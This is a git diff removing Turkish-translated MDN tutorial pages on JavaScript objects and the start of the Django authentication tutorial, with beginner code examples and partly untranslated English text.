Bunları zaten kursta gördünüz, ancak yalnızca yüzeysel - burada hepsini açıkça tartışacağız.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/Objects">JavaScript nesnelerine giriş</a></dt> - <dd>JavaScript'te, dizeler ve diziler gibi temel JavaScript özelliklerinden, JavaScript üzerine oluşturulan tarayıcı API'lerine kadar çoğu şey nesnelerdir. İlgili işlevleri ve değişkenleri verimli paketler halinde kapsüllemek için kendi nesnelerinizi bile oluşturabilirsiniz. Dil bilginizle daha ileri gitmek ve daha verimli kod yazmak istiyorsanız JavaScript'in nesne yönelimli doğasını anlamak önemlidir, bu nedenle size yardımcı olmak için bu modülü sağladık. Burada nesne teorisini ve sözdizimini ayrıntılı olarak öğretiyor, kendi nesnelerinizi nasıl yaratacağınıza bakıyoruz ve JSON verilerinin ne olduğunu ve onunla nasıl çalışılacağını açıklıyoruz.</dd> - <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous">Asenkron JavaScript</a></dt> - <dd> - <p>Bu modülde asenkron JavaScript'e, bunun neden önemli olduğuna ve bir sunucudan kaynakların alınması gibi olası engelleme işlemlerini etkili bir şekilde idare etmek için nasıl kullanılabileceğine bir göz atacağız.</p> - </dd> - <dt></dt> - <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs">İstemci tarafı web API'leri</a></dt> - <dd>When writing client-side JavaScript for web sites or applications, you won't go very far before you start to use APIs — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. In this module we will explore what APIs are, and how to use some of the most common APIs you'll come across often in your development work.</dd> -</dl> - -<h2 id="See_also">See also</h2> - -<dl> - <dt><a href="/en-US/docs/Web/JavaScript">JavaScript on MDN</a></dt> - <dd>The main entry point for core JavaScript documentation on MDN — this is where you'll find extensive reference docs on all aspects of the JavaScript language, and some advanced tutorials aimed at experienced JavaScripters.</dd> - <dt><a href="https://www.youtube.com/user/codingmath">Coding math</a></dt> - <dd>An excellent series of video tutorials to teach the math you need to understand to be an effective programmer, by <a href="https://twitter.com/bit101">Keith Peters</a>.</dd> -</dl> diff --git a/files/tr/learn/javascript/objects/basics/index.html b/files/tr/learn/javascript/objects/basics/index.html deleted file mode 100644 index e0ba47ca07..0000000000 --- a/files/tr/learn/javascript/objects/basics/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: JavaScript object basics -slug: Learn/JavaScript/Objects/Basics -translation_of: Learn/JavaScript/Objects/Basics -original_slug: Öğren/JavaScript/Objeler/Basics ---- -<div>{{LearnSidebar}}</div> - -<div>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</div> - -<p class="summary">Bu makalede JavaScript'in nesne sözdizim kurallarını inceleyeceğiz ve daha önceden gördüğümüz diğer özellikleri ziyaret edip bu işlevlerin aslında bir nesne olduğunu tekrar edeceğiz.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Gereksinimler:</th> - <td>Temel bilgisayar okuryazarlığı, temel HMTL ve CSS bilgisi ve JavaScript temelleri (<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps">İlk adımlar </a>ve <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks">yapı taşları</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Nesneye yönelik programlama ile ilgili temel teoriyi anlamak ve bunun JavaScript'teki ("Javascript'te birçok şey nesnedir") sözü ile ilişkisini keşfetmek ve JavaScript nesneleri ile çalışmak.</td> - </tr> - </tbody> -</table> - -<h2 id="Nesne_temelleri">Nesne temelleri</h2> - -<p>Bir nesne birtakım ilişkili veri ve/veya fonksiyonalite (genellikle birden fazla değişken ve fonksiyondan oluşur — ve bunlar nesne içerisinde olduklarında nesnenin niteliği (property) ve fonksiyonları adını alırlar.) Bir örnek üzerinde çalışarak nasıl olduklarını anlayalım.</p> - -<p>Başlamak için <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> dosyasını kopyalayın. Bu dosya çok küçük bir içeriğe sahip — bir {{HTMLElement("script")}} elementi içine kaynak kodumuzu yazacağız. Bunu temel nesne sözdizimini anlamak için baz alacağız. Bu örnek üzerinde çalışırken <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools#The_JavaScript_console">geliştirici JavaScript konsolunu</a> açık ve komutları yazmaya hazır şekilde tutun.</p> - -<p>Nesne oluşturmak, Javascript'te bir çok konuda olduğu gibi bir değişken tanımlamak ile başlar. Aşağıdaki Javascript kodunu dosyasına kopyalayarak dosyayı kaydedin ve tarayıcınızı yenileyin.</p> - -<pre class="brush: js">const person = {};</pre> - -<p>Şimdi tarayıcınızın <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools#The_JavaScript_console">JavaScript konsolunu</a> açın, <code>person</code> yazın, ve <kbd>Enter</kbd>/<kbd>Return </kbd>tuşlarına basın. Aşağıdaki satırlara benzer açıklamalar ile karşılaşacaksınız. </p> - -<pre class="brush: js">[object Object] -Object { } -{ } -</pre> - -<p>Congratulations, you've just created your first object. Job done! But this is an empty object, so we can't really do much with it. Let's update the JavaScript object in our file to look like this:</p> - -<pre class="brush: js">const person = { - name: ['Bob', 'Smith'], - age: 32, - gender: 'male', - interests: ['music', 'skiing'], - bio: function() { - alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.'); - }, - greeting: function() { - alert('Hi! I\'m ' + this.name[0] + '.'); - } -}; -</pre> - -<p>After saving and refreshing, try entering some of the following into the JavaScript console on your browser devtools:</p> - -<pre class="brush: js">person.name -person.name[0] -person.age -person.interests[1] -person.bio() -person.greeting()</pre> - -<p>You have now got some data and functionality inside your object, and are now able to access them with some nice simple syntax!</p> - -<div class="note"> -<p><strong>Note</strong>: If you are having trouble getting this to work, try comparing your code against our version — see <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (also <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">see it running live</a>). The live version will give you a blank screen, but that's OK — again, open your devtools and try typing in the above commands to see the object structure.</p> -</div> - -<p>So what is going on here? Well, an object is made up of multiple members, each of which has a name (e.g. <code>name</code> and <code>age</code> above), and a value (e.g. <code>['Bob', 'Smith']</code> and <code>32</code>). Each name/value pair must be separated by a comma, and the name and value in each case are separated by a colon. The syntax always follows this pattern:</p> - -<pre class="brush: js">const objectName = { - member1Name: member1Value, - member2Name: member2Value, - member3Name: member3Value -};</pre> - -<p>The value of an object member can be pretty much anything — in our person object we've got a string, a number, two arrays, and two functions. The first four items are data items, and are referred to as the object's <strong>properties</strong>. The last two items are functions that allow the object to do something with that data, and are referred to as the object's <strong>methods</strong>.</p> - -<p>An object like this is referred to as an <strong>object literal</strong> — we've literally written out the object contents as we've come to create it. This is in contrast to objects instantiated from classes, which we'll look at later on.</p> - -<p>It is very common to create an object using an object literal when you want to transfer a series of structured, related data items in some manner, for example sending a request to the server to be put into a database. Sending a single object is much more efficient than sending several items individually, and it is easier to work with than an array, when you want to identify individual items by name.</p> - -<h2 id="Dot_notation">Dot notation</h2> - -<p>Above, you accessed the object's properties and methods using <strong>dot notation</strong>. The object name (person) acts as the <strong>namespace</strong> — it must be entered first to access anything <strong>encapsulated</strong> inside the object. Next you write a dot, then the item you want to access — this can be the name of a simple property, an item of an array property, or a call to one of the object's methods, for example:</p> - -<pre class="brush: js">person.age -person.interests[1] -person.bio()</pre> - -<h3 id="Sub-namespaces">Sub-namespaces</h3> - -<p>It is even possible to make the value of an object member another object. For example, try changing the name member from</p> - -<pre class="brush: js">name: ['Bob', 'Smith'],</pre> - -<p>to</p> - -<pre class="brush: js">name : { - first: 'Bob', - last: 'Smith' -},</pre> - -<p>Here we are effectively creating a <strong>sub-namespace</strong>. This sounds complex, but really it's not — to access these items you just need to chain the extra step onto the end with another dot. Try these in the JS console:</p> - -<pre class="brush: js">person.name.first -person.name.last</pre> - -<p><strong>Important</strong>: At this point you'll also need to go through your method code and change any instances of</p> - -<pre class="brush: js">name[0] -name[1]</pre> - -<p>to</p> - -<pre class="brush: js">name.first -name.last</pre> - -<p>Otherwise your methods will no longer work.</p> - -<h2 id="Bracket_notation">Bracket notation</h2> - -<p>There is another way to access object properties — using bracket notation. Instead of using these:</p> - -<pre class="brush: js">person.age -person.name.first</pre> - -<p>You can use</p> - -<pre class="brush: js">person['age'] -person['name']['first']</pre> - -<p>This looks very similar to how you access the items in an array, and it is basically the same thing — instead of using an index number to select an item, you are using the name associated with each member's value. It is no wonder that objects are sometimes called <strong>associative arrays</strong> — they map strings to values in the same way that arrays map numbers to values.</p> - -<h2 id="Setting_object_members">Setting object members</h2> - -<p>So far we've only looked at retrieving (or <strong>getting</strong>) object members — you can also <strong>set</strong> (update) the value of object members by simply declaring the member you want to set (using dot or bracket notation), like this:</p> - -<pre class="brush: js">person.age = 45; -person['name']['last'] = 'Cratchit';</pre> - -<p>Try entering the above lines, and then getting the members again to see how they've changed, like so:</p> - -<pre class="brush: js">person.age -person['name']['last']</pre> - -<p>Setting members doesn't just stop at updating the values of existing properties and methods; you can also create completely new members. Try these in the JS console:</p> - -<pre class="brush: js">person['eyes'] = 'hazel'; -person.farewell = function() { alert("Bye everybody!"); }</pre> - -<p>You can now test out your new members:</p> - -<pre class="brush: js">person['eyes'] -person.farewell()</pre> - -<p>One useful aspect of bracket notation is that it can be used to set not only member values dynamically, but member names too. Let's say we wanted users to be able to store custom value types in their people data, by typing the member name and value into two text inputs. We could get those values like this:</p> - -<pre class="brush: js">let myDataName = nameInput.value; -let myDataValue = nameValue.value;</pre> - -<p>We could then add this new member name and value to the <code>person</code> object like this:</p> - -<pre class="brush: js">person[myDataName] = myDataValue;</pre> - -<p>To test this, try adding the following lines into your code, just below the closing curly brace of the <code>person</code> object:</p> - -<pre class="brush: js">let myDataName = 'height'; -let myDataValue = '1.75m'; -person[myDataName] = myDataValue;</pre> - -<p>Now try saving and refreshing, and entering the following into your text input:</p> - -<pre class="brush: js">person.height</pre> - -<p>Adding a property to an object using the method above isn't possible with dot notation, which can only accept a literal member name, not a variable value pointing to a name.</p> - -<h2 id="What_is_this">What is "this"?</h2> - -<p>You may have noticed something slightly strange in our methods. Look at this one for example:</p> - -<pre class="brush: js">greeting: function() { - alert('Hi! I\'m ' + this.name.first + '.'); -}</pre> - -<p>You are probably wondering what "this" is. The <code>this</code> keyword refers to the current object the code is being written inside — so in this case <code>this</code> is equivalent to <code>person</code>. So why not just write <code>person</code> instead? As you'll see in the <a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a> article, when we start creating constructors and so on, <code>this</code> is very useful — it always ensures that the correct values are used when a member's context changes (for example, two different <code>person</code> object instances may have different names, but we want to use their own name when saying their greeting).</p> - -<p>Let's illustrate what we mean with a simplified pair of person objects:</p> - -<pre class="brush: js">const person1 = { - name: 'Chris', - greeting: function() { - alert('Hi! I\'m ' + this.name + '.'); - } -} - -const person2 = { - name: 'Deepti', - greeting: function() { - alert('Hi! I\'m ' + this.name + '.'); - } -}</pre> - -<p>In this case, <code>person1.greeting()</code> outputs "Hi! I'm Chris."; <code>person2.greeting()</code> on the other hand outputs "Hi! I'm Deepti.", even though the method's code is exactly the same in each case. As we said earlier, <code>this</code> is equal to the object the code is inside — this isn't hugely useful when you are writing out object literals by hand, but it really comes into its own when you are dynamically generating objects (for example using constructors). It will all become clearer later on.</p> - -<h2 id="Youve_been_using_objects_all_along">You've been using objects all along</h2> - -<p>As you've been going through these examples, you have probably been thinking that the dot notation you've been using is very familiar. That's because you've been using it throughout the course! Every time we've been working through an example that uses a built-in browser API or JavaScript object, we've been using objects, because such features are built using exactly the same kind of object structures that we've been looking at here, albeit more complex ones than in our own basic custom examples.</p> - -<p>So when you used string methods like:</p> - -<pre class="brush: js">myString.split(',');</pre> - -<p>You were using a method available on an instance of the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code> class. Every time you create a string in your code, that string is automatically created as an instance of <code>String</code>, and therefore has several common methods and properties available on it.</p> - -<p>When you accessed the document object model using lines like this:</p> - -<pre class="brush: js">const myDiv = document.createElement('div'); -const myVideo = document.querySelector('video');</pre> - -<p>You were using methods available on an instance of the <code><a href="/en-US/docs/Web/API/Document">Document</a></code> class. For each webpage loaded, an instance of <code>Document</code> is created, called <code>document</code>, which represents the entire page's structure, content, and other features such as its URL. Again, this means that it has several common methods and properties available on it.</p> - -<p>The same is true of pretty much any other built-in object or API you've been using — <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code>, and so on.</p> - -<p>Note that built in objects and APIs don't always create object instances automatically. As an example, the <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> — which allows modern browsers to fire system notifications — requires you to instantiate a new object instance using the constructor for each notification you want to fire. Try entering the following into your JavaScript console:</p> - -<pre class="brush: js">const myNotification = new Notification('Hello!');</pre> - -<p>Again, we'll look at constructors in a later article.</p> - -<div class="note"> -<p><strong>Note</strong>: It is useful to think about the way objects communicate as <strong>message passing</strong> — when an object needs another object to perform some kind of action often it sends a message to another object via one of its methods, and waits for a response, which we know as a return value.</p> -</div> - -<h2 id="Summary">Summary</h2> - -<p>Congratulations, you've reached the end of our first JS objects article — you should now have a good idea of how to work with objects in JavaScript — including creating your own simple objects. You should also appreciate that objects are very useful as structures for storing related data and functionality — if you tried to keep track of all the properties and methods in our <code>person</code> object as separate variables and functions, it would be inefficient and frustrating, and we'd run the risk of clashing with other variables and functions that have the same names. Objects let us keep the information safely locked away in their own package, out of harm's way.</p> - -<p>In the next article we'll start to look at object-oriented programming (OOP) theory, and how such techniques can be used in JavaScript.</p> - -<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li> -</ul> diff --git a/files/tr/learn/javascript/objects/index.html b/files/tr/learn/javascript/objects/index.html deleted file mode 100644 index 2dd6a7a9e1..0000000000 --- a/files/tr/learn/javascript/objects/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Javascript Nesnelerine Giriş -slug: Learn/JavaScript/Objects -tags: - - Başlangıç - - Değerlendirme - - JavaScript - - Kılavuz - - Makale - - Nesneler - - Objeler - - Rehber - - Yeni başlayan - - öğren -translation_of: Learn/JavaScript/Objects -original_slug: Öğren/JavaScript/Objeler ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">JavaScript'te, JavaScript'in esas özelliklerinden olan karakter katarları ve dizilerden JavaScript'in tepesine inşa edilmiş tarayıcı uygulama geliştirme arayüzlerine ({{Glossary("API", "API")}}) kadar çoğu şey nesnedir. Kendi nesnelerinizi oluşturarak alakalı değişkenleri ve fonksiyonları etkili paketlere kapsülleyebilir ve onlara yararlı veri paketleri gibi davranabilirsiniz. JavaScript'in nesneye dayalı doğası dildeki bilgi birikiminizi arttırmak istiyorsanız önemlidir, bundan dolayı bu modülü size yardım etmek için temin ettik. Burda nesne teorisini ve sözdizimini detaylarıyla öğretiyoruz, sonra kendi nesnelerinizi nasıl oluşturacağınıza bakıyoruz.</p> - -<h2 id="Ön_Koşullar">Ön Koşullar</h2> - -<p>Bu konuya başlamadan önce HTML ve CSS'ye aşina olmalısınız. Javascript'e başlamadan önce <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction">Introduction to HTML</a> ve <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a> konularına çalışmanız önerilir.</p> - -<p>Javascript nesnelerine ayrıntılı olarak bakmadan önce Javascript Temelleri hakkında da bilgi sahibi olmalısınız. Bu konudan önce <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a> ve <a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a> konularına bakın.</p> - -<div class="note"> -<p><strong>Not</strong>: Eğer kendi dosyalarınızı oluşturma özelliği olmayan bir bilgisayar/tablet/diğer cihazda çalışıyorsanız <a href="http://jsbin.com/">JSBin</a> veya <a href="https://thimble.mozilla.org/">Thimble</a> gibi çoğu kod örneğini deneyebileceğiniz online kodlama programlarını deneyebilirsiniz.</p> -</div> - -<h2 id="Rehberler">Rehberler</h2> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics">Nesne Temelleri</a></dt> - <dd>İlk makalede JavaScript nesnelerine, JavaScript nesne sözdizimi temellerine bakacağız ve kursun başlarında baktığımız bazı JavaScript özelliklerine uğraştığınız birçok özelliğin aslında nesne olduğunu tekrar tekrar hatırlatarak göz atacağız.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Yeni başlayanlar için nesneye dayalı JavaScript</a></dt> - <dd>Temeller yolumuzdan çekildiğine göre nesneye dayalı JavaScript'e (OOJS) odaklanabiliriz— bu makale nesneye dayalı programlama teorisinin temelini basitçe tanıtır sonra JavaScript'in yapıcı fonksiyonlarla nesne sınıflarını nasıl taklit ettiğini ve nasıl nesne örnekleri yarattığını araştırır.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Nesne prototipleri</a></dt> - <dd>Prototipler JavaScript nesnelerinin birbirinden özellik kalıtım almasının mekanizmasıdır ve diğer nesneye dayalı programlama dillerinden farklı çalışırlar.Bu makalede bu farkı keşfedeceğiz, prototip zincirlerinin nasıl çalıştığını açıklayacağız ve halihazırda var olan yapıcılara prototip özelliğini kullanarak nasıl metod eklenebileceğine göz atacağız.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Inheritance">JavaScript'te kalıtım</a></dt> - <dd>OOJS'nin neredeyse tüm korkutucu detayları açıklanmış oldu bu makale size "ebeveyn" sınıftan özellikleri kalıtım alan "çocuk" nesne sınıflarını (yapıcılar) nasıl oluşturacağınızı gösterecek.</dd> - <dt><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">JSON verileri ile çalışmak</a></dt> - <dd>JavaScript Nesne Notasyonu web sitelerinde veriyi taşımak ve temsil etmek (yani web sayfasının kullanıcıda görüntülenebilmesi için serverdan veri göndermek) için sıkça kullanılan JavaScript nesne sözdizimine dayalı yapısal veriyi temsil etmek için kullanılan metin tabanlı bir standart biçimdir. Bununla sıkça karşılaşacağınız için bu makalede JavaScript kullanarak JSON ile çalışmanız ve kendi JSON'unuzu yazmanız için gerekli olan JSON ayrıştırması dahil her şeyi size verdik.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Nesne inşa etme uygulaması</a></dt> - <dd>Önceki makalelerde sağlam temeller üzerinden gitmek için gerekli olan JavaScript nesne teorisini ve sözdizim örneklerine baktık. Bu makalede ise eğlenceli ve renkli bir şey ortaya çıkarmanızı sağlayacak özel JavaScript nesnelerini inşa etmenize olanak sağlayacak bir uygulama yapacağız.</dd> -</dl> - -<h2 id="Değerlendirmeler">Değerlendirmeler</h2> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Zıplayan toplar demosuna özellikler ekleme</a></dt> - <dd>Bu değerlendirmede sizden, önceki makaledeki zıplayan toplar demosunu başlangıç noktası olarak almak ve ona ilginç özellikler eklemeniz bekleniyor.</dd> -</dl> diff --git a/files/tr/learn/server-side/django/authentication/index.html b/files/tr/learn/server-side/django/authentication/index.html deleted file mode 100644 index d7f0ccc57d..0000000000 --- a/files/tr/learn/server-side/django/authentication/index.html +++ /dev/null @@ -1,678 +0,0 @@ ---- -title: 'Django Tutorial - 8. Bölüm: Kullanıcı doğrulama ve izinler' -slug: Learn/Server-side/Django/Authentication -translation_of: Learn/Server-side/Django/Authentication -original_slug: Öğren/Server-side/Django/Authentication ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</div> - -<p class="summary">Bu eğitimde size, kullanıcılara sizin sitenize kendi hesapları ile giriş yapabilmesi için, nasıl izin vereceğinizi, giriş yapmış ya da yapmamış olmaları durumuna ve izinlerine göre neler yapabileceklerini ve neleri görebileceklerini, nasıl kontrol edebileceğinizi göstereceğiz. Bu eğitimin parçası olarak, <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Yerel Kütüphane</a> web sitesini, giriş sayfası, çıkış sayfası ve ödünç alınan kitapların görüntülenmesi için kullanıcı ve personele özel sayfalar ekleyerek geliştireceğiz.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön şartlar:</th> - <td>Complete all previous tutorial topics, up to and including <a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a>.</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Kullanıcı doğrulama ve izinlerin nasıl kurulacağı ve kullanılacağını anlamak.</td> - </tr> - </tbody> -</table> - -<h2 id="Genel_bakış">Genel bakış</h2> - -<p>Django provides an authentication and authorisation ("permission") system, built on top of the session framework discussed in the <a href="/en-US/docs/Learn/Server-side/Django/Sessions">previous tutorial</a>, that allows you to verify user credentials and define what actions each user is allowed to perform. The framework includes built-in models for <code>Users</code> and <code>Groups</code> (a generic way of applying permissions to more than one user at a time), permissions/flags that designate whether a user may perform a task, forms and views for logging in users, and view tools for restricting content.</p> - -<div class="note"> -<p><strong>Note</strong>: According to Django the authentication system aims to be very generic, and so does not provide some features provided in other web authentication systems. Solutions for some common problems are available as third party packages. For example, throttling of login attempts and authentication against third parties (e.g. OAuth).</p> -</div> - -<p>In this tutorial we'll show you how to enable user authentication in the <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> website, create your own login and logout pages, add permissions to your models, and control access to pages. We'll use the authentication/permissions to display lists of books that have been borrowed for both users and librarians.</p> - -<p>The authentication system is very flexible, and you can build up your URLs, forms, views, and templates from scratch if you like, just calling the provided API to login the user. However, in this article we're going to use Django's "stock" authentication views and forms for our login and logout pages. We'll still need to create some templates, but that's pretty easy.</p> - -<p>We'll also show you how to create permissions, and check on login status and permissions in both views and templates.</p> - -<h2 id="Doğrulamayı_etkinleştirme">Doğrulamayı etkinleştirme</h2> - -<p>Doğrulama <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">iskelet websitesini oluşturduğumuzda</a> (tutorial 2'de) otomatik olarak etkinleştirilmiştir, bu yüzden bu noktada daha fazla bir şey yapmanız gerekmemektedir.</p> - -<div class="note"> -<p><strong>Not</strong>: <code>django-admin startproject</code> komutunu kullarak uygulamayı oluşturduğumuzda gerekli yapılandırmanın hepsi yapıldı. <code>python manage.py migrate</code>komutunu çağırdığımızda, kullanıcılar ve izinler için veri tabanı tabloları oluşturuldu.</p> -</div> - -<p>Aşağıda gösterildiği gibi, yapılandırma, proje dosyasının (<strong>locallibrary/locallibrary/settings.py</strong>) <code>INSTALLED_APPS</code> ve <code>MIDDLEWARE</code> kısımlarında kurulmuştur:</p> - -<pre class="brush: python">INSTALLED_APPS = [ - ... -<strong> 'django.contrib.auth', </strong>#Core authentication framework and its default models. -<strong> 'django.contrib.contenttypes', #</strong>Django content type system (allows permissions to be associated with models). - .... - -MIDDLEWARE = [ - ... -<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> #Manages sessions across requests - ... -<strong> 'django.contrib.auth.middleware.AuthenticationMiddleware',</strong> #Associates users with requests using sessions. - .... -</pre> - -<h2 id="Kullanıcılar_ve_gruplar_oluşturma">Kullanıcılar ve gruplar oluşturma</h2> - -<p>Tutorial 4'te <a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django admin sitesi</a>'ne baktığımızda zaten ilk kullanıcınızı oluşturmuştunuz (<code>python manage.py createsuperuser</code> komutuyla oluşturulan bir superuser idi). Superuser'ımız zaten doğrulanmış ve tüm izinlere sahipti, bu yüzden normal bir site kullanıcısını temsilen bir test kullanıcısı oluşturmamız gerekmektedir. Y<span class="translation">apmanın en hızlı yollarından biri olduğu için,</span> <em>locallibrary</em> gruplarımızı ve websitesi oturumlarımızı oluşturmak için admin sitesini kullanıyor olacağız.</p> - -<div class="note"> -<p>Not: Aşağıda gösterildiği gibi, ayrıca programatik olarak da kullanıcılar oluşturabilirsiniz. Örneğin, kullanıcıların kendi oturumlarını oluşturmalarını sağlayan bir arayüz geliştiriliyorsa, bunu yapmak zorunda kalabilirsiniz (kullancılara admin sitesine erişim vermemelisiniz).</p> - -<pre class="brush: python">from django.contrib.auth.models import User - -# Create user and save to the database -user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword') - -# Update fields and then save again -user.first_name = 'John' -user.last_name = 'Citizen' -user.save() -</pre> -</div> - -<p>Aşağıda ilk bir grup ve sonra bir kullanıcı oluşturacağız. Henüz kütüphane üyelerimize ekleme iznimiz olmasa da, sonrasında ihtiyacımız olursa, her bir üyeye ayrı ayrı eklemektense gruba tek bir seferde eklemek daha kolay olacaktır.</p> - -<p>Geliştirme sunucusunu başlatın ve yerel web tarayıcınızda admin sitesine gidin (<a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin/</a>). Superuser hesabınız için kimlik bilgilerini kullanarak siteye giriş yapın. Admin sitesinin üst seviyesi, "django application" tarafından sıralanmış tüm modellerinizi görüntüler. <strong>Authentication and Authorisation</strong> kısmından, mevcut kayıtlarını görmek için <strong>Users</strong> veya <strong>Groups</strong> bağlantılarına tıklayabilirsiniz.</p> - -<p><img alt="Admin site - add groups or users" src="https://mdn.mozillademos.org/files/14091/admin_authentication_add.png" style="border-style: solid; border-width: 1px; display: block; height: 364px; margin: 0px auto; width: 661px;"></p> - -<p>İlk olarak kütüphane üyelerimiz için yeni bir grup oluşturalım.</p> - -<ol> - <li>Yeni bir <em>Group</em> oluşturmak için <strong>Add</strong> düğmesine (Group'un yanındaki) tıklayın; grup için <strong>Name</strong> kısmına "Library Members" girin.<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li> - <li>Grup için herhangi bir izne ihtiyacımız yok, bu yüzden yalnızca <strong>SAVE</strong> düğmesine basın (sizi gruplar listesine götürecek).</li> -</ol> - -<p>Şimdi yeni bir kullanıcı oluşturalım:</p> - -<ol> - <li>Admin sitesinin anasayfasına geri gidin.</li> - <li><em>Add user</em> diyaloğunu açmak için <em>Users</em>'ın yanındaki <strong>Add</strong> düğmesine tıklayın.<img alt="Admin site - add user pt1" src="https://mdn.mozillademos.org/files/14095/admin_authentication_add_user_prt1.png" style="border-style: solid; border-width: 1px; display: block; height: 409px; margin: 0px auto; width: 800px;"></li> - <li>Test kullanıcınız için uygun bir <strong>Username</strong> ve <strong>Password</strong>/<strong>Password confirmation</strong> girin.</li> - <li>Kullanıcıyı oluşturmak için <strong>SAVE</strong> düğmesine basın.<br> - <br> - Admin sitesi yeni kullanıcıyı oluşturacak ve hemen sizi <strong>username</strong>'inizi değiştirebileceğinz ve User modelin isteğe bağlı alanlarına bilgi ekleyebileceğiniz bir <em>Change user</em> ekranına götürecektir. Bu alanlar ad, soyad, e-posta adresi, kullanıcı durumu ve izinleri (yalnızca <strong>Active</strong> flag ayarlanmalı). Daha aşağıda kullanıcı grupları ve izinlerini belirleyebilir ve kullanıcıyla ilgili önemli tarihleri görebilirsiniz (katılım tarihi ve son giriş tarihi gibi).<img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li> - <li><em>Groups</em> kısmında, select <strong>Library Member</strong> group from the list of <em>Available groups</em>, and then press the<strong> right-arrow</strong> between the boxes to move it into the <em>Chosen groups</em> box.<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li> - <li>We don't need to do anything else here, so just select <strong>SAVE</strong> again, to go to the list of users.</li> -</ol> - -<p>That's it! Now you have a "normal library member" account that you will be able to use for testing (once we've implemented the pages to enable them to login).</p> - -<div class="note"> -<p><strong>Note</strong>: You should try creating another library member user. Also, create a group for Librarians, and add a user to that too!</p> -</div> - -<h2 id="Doğrulama_view'lerinizi_kurma">Doğrulama view'lerinizi kurma</h2> - -<p>Django's provides almost everything you need to create authentication pages to handle login, logout, and password management "out of the box". This includes an url mapper, views and forms, but it does not include the templates — we have to create our own!</p> - -<p>In this section we show how to integrate the default system into the <em>LocalLibrary</em> website and create the 